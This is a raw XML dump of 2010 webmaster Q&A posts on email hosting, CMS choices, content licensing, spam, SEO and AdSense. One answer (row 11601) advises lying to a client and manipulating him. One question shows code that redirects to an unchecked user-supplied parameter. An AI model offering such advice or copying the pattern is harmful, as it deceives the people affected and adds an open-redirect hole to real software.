accounts, that's $150/mo just to use the web access feature. I may as well buy my own email server for that much. &#xD;&#xA;&#xD;&#xA;Are there low-cost alternatives to what I'm looking for? Perhaps there is a company that does it for much less than those I've found so far? &#xD;&#xA;&#xD;&#xA;What do you guys do to effectively manage multiple-domain email accounts as a webmaster? &#xD;&#xA;&#xD;&#xA;Thanks! " />
  <row Id="11567" PostHistoryTypeId="1" PostId="5794" RevisionGUID="dfeee90d-fe84-4b11-bd43-0ab119f6a1db" CreationDate="2010-11-23T00:38:14.947" UserId="3413" Text="Email hosting for managing emails across many domains" />
  <row Id="11568" PostHistoryTypeId="3" PostId="5794" RevisionGUID="dfeee90d-fe84-4b11-bd43-0ab119f6a1db" CreationDate="2010-11-23T00:38:14.947" UserId="3413" Text="&lt;web-hosting&gt;&lt;email&gt;&lt;email-address&gt;&lt;service&gt;&lt;management&gt;" />
  <row Id="11569" PostHistoryTypeId="10" PostId="5787" RevisionGUID="b9baa1d4-c9a0-46f4-a233-8ef752ad5c05" CreationDate="2010-11-23T01:03:06.843" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="11570" PostHistoryTypeId="2" PostId="5795" RevisionGUID="c0852ec9-c0d8-4d9a-a981-c0b2d076ae51" CreationDate="2010-11-23T01:21:00.173" UserId="1603" Text="You could consider **Windows Azure** - it sounds like you don't need &quot;a server&quot; per se, but a place to host your asp.net/sql server app that can scale out as needed for better performance/stability. This can make sense if you hope to see your traffic boom to a level where multiple servers are required - perhaps in periods, perhaps located in data centers around the globe.&#xD;&#xA;&#xD;&#xA;Moving your app to Azure will be trivial is you store state/data in sql server. If you write to the file system (like storing uploaded images), use services running outside iis or other 'not so static web app activities' you would need to address this first." />
  <row Id="11571" PostHistoryTypeId="2" PostId="5796" RevisionGUID="09f5cfdd-7576-4f8d-be1d-2f592fefe430" CreationDate="2010-11-23T01:45:04.623" UserId="3415" Text="Have about 60 kids that are working on a science projects in two groups. Each group would like a web portal where they can discuss topics relating to what they are building, post questions, pictures, videos, and keep their project going while not always in the same class room.&#xD;&#xA;&#xD;&#xA;Also, I would like to host it personally and not have it accessible to the entire web.&#xD;&#xA;&#xD;&#xA;What would you suggest for such a requirement?" />
  <row Id="11572" PostHistoryTypeId="1" PostId="5796" RevisionGUID="09f5cfdd-7576-4f8d-be1d-2f592fefe430" CreationDate="2010-11-23T01:45:04.623" UserId="3415" Text="What would be a good web based open source or low cost learing collaboration tool for high school students?" />
  <row Id="11573" PostHistoryTypeId="3" PostId="5796" RevisionGUID="09f5cfdd-7576-4f8d-be1d-2f592fefe430" CreationDate="2010-11-23T01:45:04.623" UserId="3415" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;usability&gt;&lt;social-media&gt;&lt;open-source&gt;" />
  <row Id="11574" PostHistoryTypeId="2" PostId="5797" RevisionGUID="52294321-ad2b-47a4-b493-fa61a37794fe" CreationDate="2010-11-23T01:49:28.943" UserId="1603" Text="You could consider running a CMS locally to manage content and then use a website scraping tool to extract and upload a static version.&#xD;&#xA;&#xD;&#xA;If you are running Windows getting a CMS up and running locally is really easy with WebMatrix and there is a lot of free open source CMS's to choose from.&#xD;&#xA;&#xD;&#xA;Here is a sample approach - my selection of CMS is slightly biased, but it does contain a demo site option for quick proof of concept testing:&#xD;&#xA; &#xD;&#xA;1. Go to [http://www.microsoft.com/web/webmatrix/][1] and install WebMatrix&#xD;&#xA;2. When installed, launch WebMatrix, create site from Gallety&#xD;&#xA;3. Select the CMS called 'Composite C1'&#xD;&#xA;4. When installed, launch it - 'next' through the wizard steps. Select the 'demo site'&#xD;&#xA;&#xD;&#xA;The whole process can be seen in [this video][2].&#xD;&#xA;&#xD;&#xA;Once the demo site is there use a tool like [HTTrack][3] to extract website content - this tool should be able to sync with a mirror site - giving you the 'from CMS to static site' feature you want.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/web/webmatrix/&#xD;&#xA;  [2]: http://www.youtube.com/watch?v=Y12dPpc4egA&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/HTTrack" />
  <row Id="11575" PostHistoryTypeId="2" PostId="5798" RevisionGUID="944d4e2e-c143-41f8-8ab5-9c2b5870bcd4" CreationDate="2010-11-23T01:57:24.523" UserId="1218" Text="A lot of this comes down to the old question of whether to use an existing service/product, or develop it yourself.&#xD;&#xA;&#xD;&#xA;**Pros of using an existing product/service are:**&#xD;&#xA;&#xD;&#xA; - quick to launch &#xD;&#xA; - community of users to provide support and feedback &#xD;&#xA; - cost effective &#xD;&#xA; - will probably do 95% of what you want out of the box&#xD;&#xA;&#xD;&#xA;**Cons of using an existing product/service are:**&#xD;&#xA;&#xD;&#xA; - although the existing product/service will probably do 95% of what you want, the remaining 5% can be very, very difficult.  &#xD;&#xA;   - If it's a hosted 3rd party service, it may be impossible. &#xD;&#xA;   - If it's a downloadable, installable open-source solution, it may be next to impossible to implement without learning how the product works, and it will almost certainly be very time-consuming&#xD;&#xA; - User interfaces (both front end and back end) are often designed to satisfy everyone, and end up satisfying no one. &#xD;&#xA;   - For the front end, being innovative in user experience can be difficult&#xD;&#xA;   - For the back end, having something that doesn't confuse the user with the variety of options is desirable.&#xD;&#xA;&#xD;&#xA;**Ideally**, building your own system using a core or framework that you're familiar with is the best approach (given time, money, expertise).&#xD;&#xA;&#xD;&#xA;Looking at your timeline, i'd say that for a **Jan 1st launch**, your only choice is a **hosted 3rd party product** -- i don't think you'll have time to get something built, or installed/customised in time. Also, it takes care of things such as [PCI compliance][1], which can be expensive and time consuming to get right, especially if you are handling credit card data yourselves (i'm not sure if this is what you mean by 'handling payment processing internally'.&#xD;&#xA;&#xD;&#xA;There's so much more to say about this, but i'll stop rambling now. Feel free to ask follow up questions.&#xD;&#xA;&#xD;&#xA;Final word: given the short timeline, work hard to set expectations in your organisation, remove inessential features, and consider a phased approach. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard" />
  <row Id="11577" PostHistoryTypeId="2" PostId="5800" RevisionGUID="a02d4324-4937-4d8e-b0d7-7af868521777" CreationDate="2010-11-23T02:21:03.073" UserDisplayName="user2589" Text="I'm designing some web templates, and I need to add some sample content in them, like articles and stuff. I was wondering where can I find such sample articles to include in the template demo? I dont want to use the usual Lorem Ipsum thing :)&#xD;&#xA;&#xD;&#xA;The templates would be sold commercially, so I assume the I'll need to use only content that has a license which grants you the right to use it commercially.&#xD;&#xA;&#xD;&#xA;I thought of [uncyclopedia][1] but it's under creative commons which apparently lets you use their content only if you are using it for non-commercial purposes.&#xD;&#xA;&#xD;&#xA;thank you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://uncyclopedia.wikia.com" />
  <row Id="11578" PostHistoryTypeId="1" PostId="5800" RevisionGUID="a02d4324-4937-4d8e-b0d7-7af868521777" CreationDate="2010-11-23T02:21:03.073" UserDisplayName="user2589" Text="Where can I find GPL licensed articles which I can use in a commercial project?" />
  <row Id="11579" PostHistoryTypeId="3" PostId="5800" RevisionGUID="a02d4324-4937-4d8e-b0d7-7af868521777" CreationDate="2010-11-23T02:21:03.073" UserDisplayName="user2589" Text="&lt;html&gt;&lt;template&gt;&lt;photoshop&gt;" />
  <row Id="11580" PostHistoryTypeId="2" PostId="5801" RevisionGUID="a2eb7dfc-4493-4c3f-aa4b-27b3d2979929" CreationDate="2010-11-23T02:21:04.133" UserId="2632" Text="Is there a web service (either one of amazon's own or a third-party) that will let me pull my purchase data from amazon into my own site? This is strictly for personal use; I only want to get data associated with my own amazon account. I'm currently working in php, so would need a php api." />
  <row Id="11581" PostHistoryTypeId="1" PostId="5801" RevisionGUID="a2eb7dfc-4493-4c3f-aa4b-27b3d2979929" CreationDate="2010-11-23T02:21:04.133" UserId="2632" Text="Amazon web service to get purchase data" />
  <row Id="11582" PostHistoryTypeId="3" PostId="5801" RevisionGUID="a2eb7dfc-4493-4c3f-aa4b-27b3d2979929" CreationDate="2010-11-23T02:21:04.133" UserId="2632" Text="&lt;web-services&gt;&lt;amazon&gt;" />
  <row Id="11583" PostHistoryTypeId="2" PostId="5802" RevisionGUID="90513240-3768-44ff-888c-53e419285313" CreationDate="2010-11-23T02:23:30.777" UserId="1064" Text="Free: authorize e-mail addresses to [send and receive mail from a Gmail account][1]&#xD;&#xA;&#xD;&#xA;I use Gmail to send and receive mail for a variety of POP3 accounts at a variety of domains - it's worth the 2-3 minutes' setup time per account for the superior spam filtering alone.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webdevelopersnotes.com/tips/gmail/add-email-account-gmail.php" />
  <row Id="11584" PostHistoryTypeId="2" PostId="5803" RevisionGUID="d0171457-4961-4915-8898-73967b35a7e8" CreationDate="2010-11-23T02:27:53.640" UserId="1953" Text="I've used collabtive, it's an open source alternative to basecamp (a web based project collaboration software). It's pretty easy to use and can be self hosted. " />
  <row Id="11585" PostHistoryTypeId="6" PostId="5800" RevisionGUID="d39f6fa4-893d-423d-9320-6531971ae087" CreationDate="2010-11-23T02:31:25.153" UserDisplayName="user2589" Comment="edited tags" Text="&lt;html&gt;&lt;website-design&gt;&lt;template&gt;&lt;photoshop&gt;" />
  <row Id="11586" PostHistoryTypeId="2" PostId="5804" RevisionGUID="a8a8c756-a263-4186-9218-d3aecf2ace88" CreationDate="2010-11-23T02:44:16.000" UserDisplayName="Nitro" Text="This one uses YUI compressor algorithm:&#xD;&#xA;&#xD;&#xA;http://www.jscompressor.com" />
  <row Id="11588" PostHistoryTypeId="2" PostId="5805" RevisionGUID="b6a88644-e0ef-4ca6-8e96-04710e25c191" CreationDate="2010-11-23T05:38:31.470" UserId="3419" Text="I use [Redmine](http://www.redmine.org/) which supports uploading of files, forums, wiki and issue tracking. It's great for website/application project management, but I can see it working for your use, too.&#xD;&#xA;&#xD;&#xA;It's open source and runs on Linux, Windows and MacOS." />
  <row Id="11589" PostHistoryTypeId="2" PostId="5806" RevisionGUID="1d8a8773-7002-45cf-8220-b0fd8d4bb213" CreationDate="2010-11-23T06:02:16.980" UserId="2840" Text="GPL don't forbidden commercial usage. You just have to turn all your project with GPL licence.&#xD;&#xA;&#xD;&#xA;With a LGPL component, there is not this problem, but try to look for articles under Creative Common licence without &quot;Non-Commercial&quot; clause...&#xD;&#xA;&#xD;&#xA;Like all Stack Exchange articles who are on [Attribution-ShareAlike 2.5 Generic][1]! ^^&#xD;&#xA;&#xD;&#xA;Its just have &quot;Share-Alike&quot; and &quot;Attribution&quot; clauses so you have to:&#xD;&#xA;&#xD;&#xA;- keep this licence for the content you pick&#xD;&#xA;- attribute all the content you pick you Stack Exchange and it's author&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://creativecommons.org/licenses/by-sa/2.5/" />
  <row Id="11590" PostHistoryTypeId="2" PostId="5807" RevisionGUID="65c8b6b0-0c5b-4c98-90ee-f5cad1dc6416" CreationDate="2010-11-23T06:09:23.187" UserId="2840" Text="the simpler is [Blogger][1], that you can custom to have the same layout.&#xD;&#xA;&#xD;&#xA;Simpler because:&#xD;&#xA;&#xD;&#xA; - free (not like freedom)&#xD;&#xA; - easy to use&#xD;&#xA; - easy to custom (behavior, template, CSS...)&#xD;&#xA; - no installation&#xD;&#xA; - no worry about hosting&#xD;&#xA; - direct integration with Picasa for your pictures&#xD;&#xA; - you can use your own domain name&#xD;&#xA; - Useful widgets&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.blogger.com/" />
  <row Id="11591" PostHistoryTypeId="5" PostId="5806" RevisionGUID="5c39038f-5006-4bf9-a2ce-c50dfdcdec17" CreationDate="2010-11-23T06:14:57.507" UserId="2840" Comment="added 221 characters in body; added 186 characters in body" Text="GPL don't forbidden commercial usage. You just have to turn all your project with GPL licence.&#xD;&#xA;&#xD;&#xA;With a LGPL component, there is not this problem, but try to [look for articles under Creative Common licence without &quot;Non-Commercial&quot; clause][1]...&#xD;&#xA;&#xD;&#xA;Like all Stack Exchange articles who are on [Attribution-ShareAlike 2.5 Generic][2]! ^^&#xD;&#xA;&#xD;&#xA;Its just have &quot;Share-Alike&quot; and &quot;Attribution&quot; clauses so you have to:&#xD;&#xA;&#xD;&#xA;- keep this licence for the content you pick&#xD;&#xA;- attribute all the content you pick you Stack Exchange and it's author&#xD;&#xA;&#xD;&#xA;Wikipedia also use a version of CC: [Creative Commons Attribution-ShareAlike 3.0 Unported License][3]&#xD;&#xA;&#xD;&#xA;[Creative Commons][4] are a set of different licences, they are not all for &quot;Non-Commercial&quot; usage&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://search.creativecommons.org/&#xD;&#xA;  [2]: http://creativecommons.org/licenses/by-sa/2.5/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License&#xD;&#xA;  [4]: http://creativecommons.org/" />
  <row Id="11592" PostHistoryTypeId="5" PostId="5806" RevisionGUID="f443184f-61fa-48af-a57c-24b8bb02980f" CreationDate="2010-11-23T06:20:33.243" UserId="2840" Comment="added 56 characters in body; deleted 1 characters in body; added 34 characters in body" Text="GPL don't forbidden commercial usage. You just have to turn all your project with GPL licence.&#xD;&#xA;&#xD;&#xA;With a LGPL component, there is not this problem, but try to [look for articles under Creative Common licence without &quot;Non-Commercial&quot; clause][1]...&#xD;&#xA;&#xD;&#xA;Like all Stack Exchange articles who are on [Attribution-ShareAlike 2.5 Generic][2]! ^^&#xD;&#xA;&#xD;&#xA;Its just have &quot;Share-Alike&quot; and &quot;Attribution&quot; clauses so you have to:&#xD;&#xA;&#xD;&#xA;- keep this licence for the content you pick&#xD;&#xA;- attribute all the content you pick you Stack Exchange and it's author&#xD;&#xA;&#xD;&#xA;Wikipedia also use a version of CC without a &quot;Non-Commercial&quot; clause: [Creative Commons Attribution-ShareAlike 3.0 Unported License][3]&#xD;&#xA;&#xD;&#xA;[Creative Commons][4] is [a set of different licences][5], they are not all for &quot;Non-Commercial&quot; usage&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://search.creativecommons.org/&#xD;&#xA;  [2]: http://creativecommons.org/licenses/by-sa/2.5/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License&#xD;&#xA;  [4]: http://creativecommons.org/&#xD;&#xA;  [5]: http://creativecommons.org/about/licenses/" />
  <row Id="11593" PostHistoryTypeId="2" PostId="5808" RevisionGUID="28e47e45-0324-4411-807f-3fb7698d4312" CreationDate="2010-11-22T14:48:41.560" UserDisplayName="Sam" Text="Do you agree that it is generally bad practice to include mail to links and emails in websites because of spam and the various malicious agents that search and use emails?&#xD;&#xA;&#xD;&#xA;If so how could I explain this to someone that has a website but doesn't know how to use their own cms?" />
  <row Id="11594" PostHistoryTypeId="1" PostId="5808" RevisionGUID="28e47e45-0324-4411-807f-3fb7698d4312" CreationDate="2010-11-22T14:48:41.560" UserDisplayName="Sam" Text="mailto link is a spam flag, what is the simplest way to explain this to business person." />
  <row Id="11595" PostHistoryTypeId="3" PostId="5808" RevisionGUID="28e47e45-0324-4411-807f-3fb7698d4312" CreationDate="2010-11-22T14:48:41.560" UserDisplayName="Sam" Text="&lt;email&gt;&lt;business&gt;&lt;spam-prevention&gt;" />
  <row Id="11596" PostHistoryTypeId="17" PostId="5808" RevisionGUID="fdb991d3-6a34-4e90-91a3-bb5f81a46f85" CreationDate="2010-11-23T06:44:54.190" UserId="-1" Comment="from http://stackoverflow.com/questions/4246637/mailto-link-is-a-spam-flag-what-is-the-simplest-way-to-explain-this-to-business" Text="" />
  <row Id="11597" PostHistoryTypeId="2" PostId="5809" RevisionGUID="7242bda1-f126-46d5-b4cf-2151996bdfa6" CreationDate="2010-11-23T07:17:25.627" UserId="3122" Text="okay there is a mechanism i plan to implement in one of my websites....&#xD;&#xA;&#xD;&#xA;lets say the links in my website don't directly refer to the page they are supposed to but they all refer to a `single php page` and send their unique parameters and that `single php page` based on those parameters does some processing on DB and then redirects to the actual pages those were supposed to refer by using `header(&quot;Location:$_GET['page_name']&quot;);`.... &#xD;&#xA;&#xD;&#xA; - Will this mechanism be not search engine friendly or is it okay ?&#xD;&#xA; - Will this mechanism get me disadvantages at Google Page Ranks ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11598" PostHistoryTypeId="1" PostId="5809" RevisionGUID="7242bda1-f126-46d5-b4cf-2151996bdfa6" CreationDate="2010-11-23T07:17:25.627" UserId="3122" Text="Non-Direct Page Link Behavior in website...." />
  <row Id="11599" PostHistoryTypeId="3" PostId="5809" RevisionGUID="7242bda1-f126-46d5-b4cf-2151996bdfa6" CreationDate="2010-11-23T07:17:25.627" UserId="3122" Text="&lt;seo&gt;&lt;pagerank&gt;" />
  <row Id="11600" PostHistoryTypeId="2" PostId="5810" RevisionGUID="c468fc3a-fc82-4bc7-a7c1-ad2a5523b714" CreationDate="2010-11-23T10:07:17.400" UserId="1955" Text="If you use 301 redirect it have to be ok. But the whole procedure looks a little strange. Why dont you just user mod_rewrite to have beautiful URL and still render the with one php script?" />
  <row Id="11601" PostHistoryTypeId="2" PostId="5811" RevisionGUID="2a959015-8dc6-421c-9f83-366be07717ce" CreationDate="2010-11-23T10:12:34.853" UserId="1955" Text="I the mail server the client user have a good SPAM filter it should not be a problem. The SPAM will just go into the junk. &#xD;&#xA;&#xD;&#xA;If you still think that you have to make him remove his email tell him that people will love a simple contact form instead of email. Or lie to him that exposing his address to public makes it vulnerable to hacker attacks.&#xD;&#xA;&#xD;&#xA;And the most important, no matter what you choose to tell him make it looks like it is his idea)))" />
  <row Id="11602" PostHistoryTypeId="2" PostId="5812" RevisionGUID="aa810a97-61b4-4208-8312-13c493b8152e" CreationDate="2010-11-23T10:28:53.043" UserId="2927" Text="I have a javascript heavy site (It really couldn't be coded in any sensible way with progressive enhancement) and I am using [Google's advice for making AJAX websites crawlable][1]. (i.e. use &quot;`?_escaped_fragement_` in place of '`#!`'&#xD;&#xA;&#xD;&#xA;My question is this: How closely does my flat HTML need to match the AJAX created HTML for users?&#xD;&#xA;&#xD;&#xA;I imagine Google must be checking some of the AJAX content, as otherwise this would be an easy way to do cloaking. I don't want to cloak in any way, but it is difficult to produce the exact HTML source that AJAX generates on the server-side? Would a rough approximation be good enough? &#xD;&#xA;&#xD;&#xA;Anyone have any experience in doing this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/web/ajaxcrawling/docs/getting-started.html" />
  <row Id="11603" PostHistoryTypeId="1" PostId="5812" RevisionGUID="aa810a97-61b4-4208-8312-13c493b8152e" CreationDate="2010-11-23T10:28:53.043" UserId="2927" Text="When creating HTML for _escaped_fragment_ AJAX pages, how correct does it have to be?" />
  <row Id="11604" PostHistoryTypeId="3" PostId="5812" RevisionGUID="aa810a97-61b4-4208-8312-13c493b8152e" CreationDate="2010-11-23T10:28:53.043" UserId="2927" Text="&lt;seo&gt;&lt;ajax&gt;" />
  <row Id="11605" PostHistoryTypeId="2" PostId="5813" RevisionGUID="3642094c-1f51-4c16-98f5-81d8de1f0196" CreationDate="2010-11-23T10:37:31.610" UserId="3307" Text="You could use [MailHide from Recaptcha][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/recaptcha/mailhide/" />
  <row Id="11606" PostHistoryTypeId="2" PostId="5814" RevisionGUID="65ed2dc9-7a52-4052-9d7e-c57546d3c30d" CreationDate="2010-11-23T10:42:43.997" UserId="3307" Text="I believe that [github][1] also do SVN hosting as well as being able to port over from SVN&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.github.com" />
  <row Id="11610" PostHistoryTypeId="2" PostId="5816" RevisionGUID="f756dfd2-c837-48dd-b15a-5e96dee84647" CreationDate="2010-11-23T10:48:43.713" UserId="3094" Text="Hi Amazon does give you some info on tracking your item stats. log into your account on seller central and then click on site metrics and reports and the reports tab.&#xD;&#xA;&#xD;&#xA;Also this article has some services which might be of use I haven't checked them out personally.&#xD;&#xA;&#xD;&#xA; http://askville.amazon.com/tools-Amazon-sellers-sales-statistics-item-sell/AnswerViewer.do?requestId=7110230" />
  <row Id="11611" PostHistoryTypeId="2" PostId="5817" RevisionGUID="22bbc2ba-b07a-4e5c-ac10-6427e82f308a" CreationDate="2010-11-23T11:09:16.480" UserId="2293" Text="I understand your problem. You may want to track users who click in a certain link, or how much of your users go to certain partner, or something like that.&#xD;&#xA;&#xD;&#xA;I can't really say what should be indexing problems. The first and unique that came to me now is that your page juice is not passed to target pages, hence search engines will consider those links as internal links.&#xD;&#xA;&#xD;&#xA;But I would propose a solution that should work well in most cases. Use ajax on those links. Use rel attribute into those anchors, like:&#xD;&#xA;&#xD;&#xA;    &lt;a rel=&quot;external&quot; href=&quot;http:yourpartner.tld&quot;&gt;See more here&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Filter links who has rel=&quot;external&quot;, and attach an event to them. When clicked, it would make an ajax call with their href parameter, which you will query. The ajax function just need to return true or false in order to allow users to be really redirected to their page, or prevent redirection in case of error." />
  <row Id="11612" PostHistoryTypeId="2" PostId="5818" RevisionGUID="ea6e03bc-7387-440d-b25b-d2378bca34c9" CreationDate="2010-11-23T12:37:28.057" UserId="1941" Text="As part of a web application I am building, I must check if a particular email address exists. This check may be performed at around 1000 times an hour at a given server. Is there any mail server security policy that would prevent this? &#xD;&#xA;&#xD;&#xA;Edit: I do not mean any particular server. Would there be any reason for throttling to be enabled anywhere. " />
  <row Id="11613" PostHistoryTypeId="1" PostId="5818" RevisionGUID="ea6e03bc-7387-440d-b25b-d2378bca34c9" CreationDate="2010-11-23T12:37:28.057" UserId="1941" Text="Will Checking Existence Of Email Be Throttled By Email Servers?" />
  <row Id="11614" PostHistoryTypeId="3" PostId="5818" RevisionGUID="ea6e03bc-7387-440d-b25b-d2378bca34c9" CreationDate="2010-11-23T12:37:28.057" UserId="1941" Text="&lt;email&gt;&lt;throttling&gt;&lt;server-side-scripting&gt;" />
  <row Id="11615" PostHistoryTypeId="2" PostId="5819" RevisionGUID="43a31de7-afd4-4c3b-b219-a2c8040f45c2" CreationDate="2010-11-23T12:49:48.133" UserId="925" Text="The only way to be sure that an email address exists is to send an email to it and check that they opened it. The user might have very strict spam filtering that filters your email away. The email address still exists and yet you can't send anything to it." />
  <row Id="11616" PostHistoryTypeId="2" PostId="5821" RevisionGUID="db0d9c0e-79cf-4869-bc1f-5a28bde7dde7" CreationDate="2010-11-23T11:12:02.453" UserId="3307" Text="Take a look at [Vzaar][1] which uses the EdgeCast CDN, Google Analytics, Flash to display and also you can limit the videos to play on certain domains so you could put it on a subdomain that only authenticated users can access. It also has the option of displaying an unbranded video.&#xD;&#xA;&#xD;&#xA;Not all of these features are free, but I guess if people are paying to access them you can just factor in the cost into what you charge.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vzaar.com/" />
  <row Id="11617" PostHistoryTypeId="2" PostId="5820" RevisionGUID="7f9d5c00-c342-4574-a555-7f2c92bc8b79" CreationDate="2010-08-07T13:02:40.280" UserDisplayName="Tiago" Text="I want to sell private video content on my website.&#xD;&#xA;&#xD;&#xA;What is the best way to create an online video-on-demand service with this requirements:&#xD;&#xA;&#xD;&#xA;- The video must be private and secure&#xD;&#xA;- Analytics&#xD;&#xA;- Must use a CDN&#xD;&#xA;- Flash video player&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What's the best solution(s) for this? What web apps can I use to do this? " />
  <row Id="11618" PostHistoryTypeId="1" PostId="5820" RevisionGUID="7f9d5c00-c342-4574-a555-7f2c92bc8b79" CreationDate="2010-08-07T13:02:40.280" UserDisplayName="Tiago" Text="How to create a video-on-demand service" />
  <row Id="11619" PostHistoryTypeId="3" PostId="5820" RevisionGUID="7f9d5c00-c342-4574-a555-7f2c92bc8b79" CreationDate="2010-08-07T13:02:40.280" UserDisplayName="Tiago" Text="&lt;video&gt;" />
  <row Id="11620" PostHistoryTypeId="17" PostId="5820" RevisionGUID="7699e3ab-210c-472e-b041-2299d5206032" CreationDate="2010-11-23T13:03:39.327" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/5426/how-to-create-a-video-on-demand-service" Text="" />
  <row Id="11621" PostHistoryTypeId="2" PostId="5822" RevisionGUID="311db028-4581-418b-a5b9-7dc4440848d8" CreationDate="2010-11-23T13:04:57.017" UserId="1253" Text="Not only can you expect it to be throttled, but most likely that functionality will be turned off. This is because spammers use this to confirm email addresses. &#xD;&#xA;&#xD;&#xA;If I were you I wouldn't use this technique as it sounds suspicious to me. You may find your site blacklisted as a spammer which definitely is counter productive to your goals. Simply send a confirmation email to your users with a confirmation link inside. Until their email is confirm limit their account or prevent access altogether. This functionality is common and easy to implement." />
  <row Id="11622" PostHistoryTypeId="2" PostId="5823" RevisionGUID="724f1ea9-9780-4059-9032-30363bb268b0" CreationDate="2010-11-23T13:12:13.090" UserId="1429" Text="After reading this: *[&quot;Keep the links on a given page to a reasonable number&quot;][1]*&#xD;&#xA;&#xD;&#xA;And this: *[&quot;Users often dislike link-heavy pages too, so before you go overboard putting a ton of links on a page, ask yourself what the purpose of the page is and whether it works well for the user experience.&quot;][2]*&#xD;&#xA;&#xD;&#xA;I'm wondering **how to keep links on a given page to a reasonable number for a generic an e-commerce site.**&#xD;&#xA;&#xD;&#xA;Usually these type of sites contains a left menu packed with all the products/articles in the shop catalog divided by categories/sub-categories. **Each sub-category has naturally a link to it** (on some sites even the main category have a link showing a page with the sub-categories listed as page contents)&#xD;&#xA;&#xD;&#xA;**Shops/companies usually have many categories/sub-categories to show, so generally these left menu are big with many, many links.** And since these left menu are repeated in each page (1) how could we keep the amount of links to a reasonable number? &#xD;&#xA;&#xD;&#xA;Any SEO considerations and suggestions are well accepted too in your answer (as always).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;(note 1) I think these big menus repeated in all pages don't make the website less user friendly I'm talking about tree menus like this one for instance `www . nummus . com` these type menu use also Javascript to open nodes and on each page they keep themselves open, so I think they are very user friendly.&#xD;&#xA;Actually I think the opposite: **I can't stand navigating sites that change the position or the flow/contents of menus while I'm navigating.** And you?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35769#2&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/how-many-links-per-page/" />
  <row Id="11623" PostHistoryTypeId="1" PostId="5823" RevisionGUID="724f1ea9-9780-4059-9032-30363bb268b0" CreationDate="2010-11-23T13:12:13.090" UserId="1429" Text="SEO for e-commerce, how to keep links to a reasonable number?" />
  <row Id="11624" PostHistoryTypeId="3" PostId="5823" RevisionGUID="724f1ea9-9780-4059-9032-30363bb268b0" CreationDate="2010-11-23T13:12:13.090" UserId="1429" Text="&lt;seo&gt;&lt;google&gt;&lt;ecommerce&gt;&lt;links&gt;&lt;menu&gt;" />
  <row Id="11625" PostHistoryTypeId="2" PostId="5824" RevisionGUID="d24c184c-86bd-44dd-b496-402e3df0f389" CreationDate="2010-11-23T14:03:22.487" UserId="221" Text="From a UX point of view, one option would be to use '[mega menus][1]'. They are very good at providing a lot of navigational options in a comprehensible manner. Just be careful to of [what can go wrong with mega menus][2]&#xD;&#xA;&#xD;&#xA;Each mega menu could be loaded up using Google new '[fragments][3]' syntax if you want to cut down on the amount of links physically present in the page itself.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.useit.com/alertbox/mega-dropdown-menus.html&#xD;&#xA;  [2]: http://www.useit.com/alertbox/mega-menus-wrong.html&#xD;&#xA;  [3]: http://code.google.com/intl/sv-SE/web/ajaxcrawling/docs/getting-started.html" />
  <row Id="11626" PostHistoryTypeId="2" PostId="5825" RevisionGUID="ee7f109e-a9ac-4466-9e31-e5f5ccb40b51" CreationDate="2010-11-23T14:27:56.263" UserId="3429" Text="How about http://www.tiddlywiki.com/ ?&#xD;&#xA;&#xD;&#xA;Not an CMS per-say but it's an editable offline wiki, runs in almost all recent web browsers." />
  <row Id="11627" PostHistoryTypeId="2" PostId="5826" RevisionGUID="66f0f7f9-5ee6-4f8d-bba8-18f08abdf89a" CreationDate="2010-11-23T14:31:26.283" UserId="3428" Text="I am interesting in Google AdSense bot's algorithm and behavior with web site. I did not work with AdSense and i do not have account. So i need your help to understand:&#xD;&#xA;&#xD;&#xA;1) Gbot from time to time downloads all pages from web site. Am i right?&#xD;&#xA;&#xD;&#xA;2) Gbot do not understand dynamic content (loaded by ajax). So i must generate static content and return it within html page and this pages must show identical content for all users and for Gbot?&#xD;&#xA;&#xD;&#xA;3) Because of (1) and (2) i cannot use only root path http://example.com with some &quot;main&quot; widget. I must generate unique pages for example http://example.com/thread?id=101 ?&#xD;&#xA;&#xD;&#xA;4) Gbot downloads pages (1) for grabbing (indexing) keywords from them and then store (on it's servers) these information for example by key/value (where key is page path, value is tag cloud). Am i right?&#xD;&#xA;&#xD;&#xA;5) When web site has been opened in browser by user. Integrated html AdSense's code loads some JavaScript. As i understand by &quot;googling&quot; this JavaScript do not index page, but makes call (with some parameter key==page_path) to Google's server and gets appropriate ad links. Then shows this ad links in it's frame. Is it right behavior? Maybe JavaScript makes some local indexing of page's content?&#xD;&#xA;&#xD;&#xA;6) How Gbot and AdSense's JavaScript work with cookies? As i understand AdSense can use cookies for show appropriate ad links. If it is right, please give me some use cases;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I know that &quot;true&quot; algorithm is known only by engineers from Google. But some of you had experience with AdSense and AdSense html/javascript. Please correct my vision of 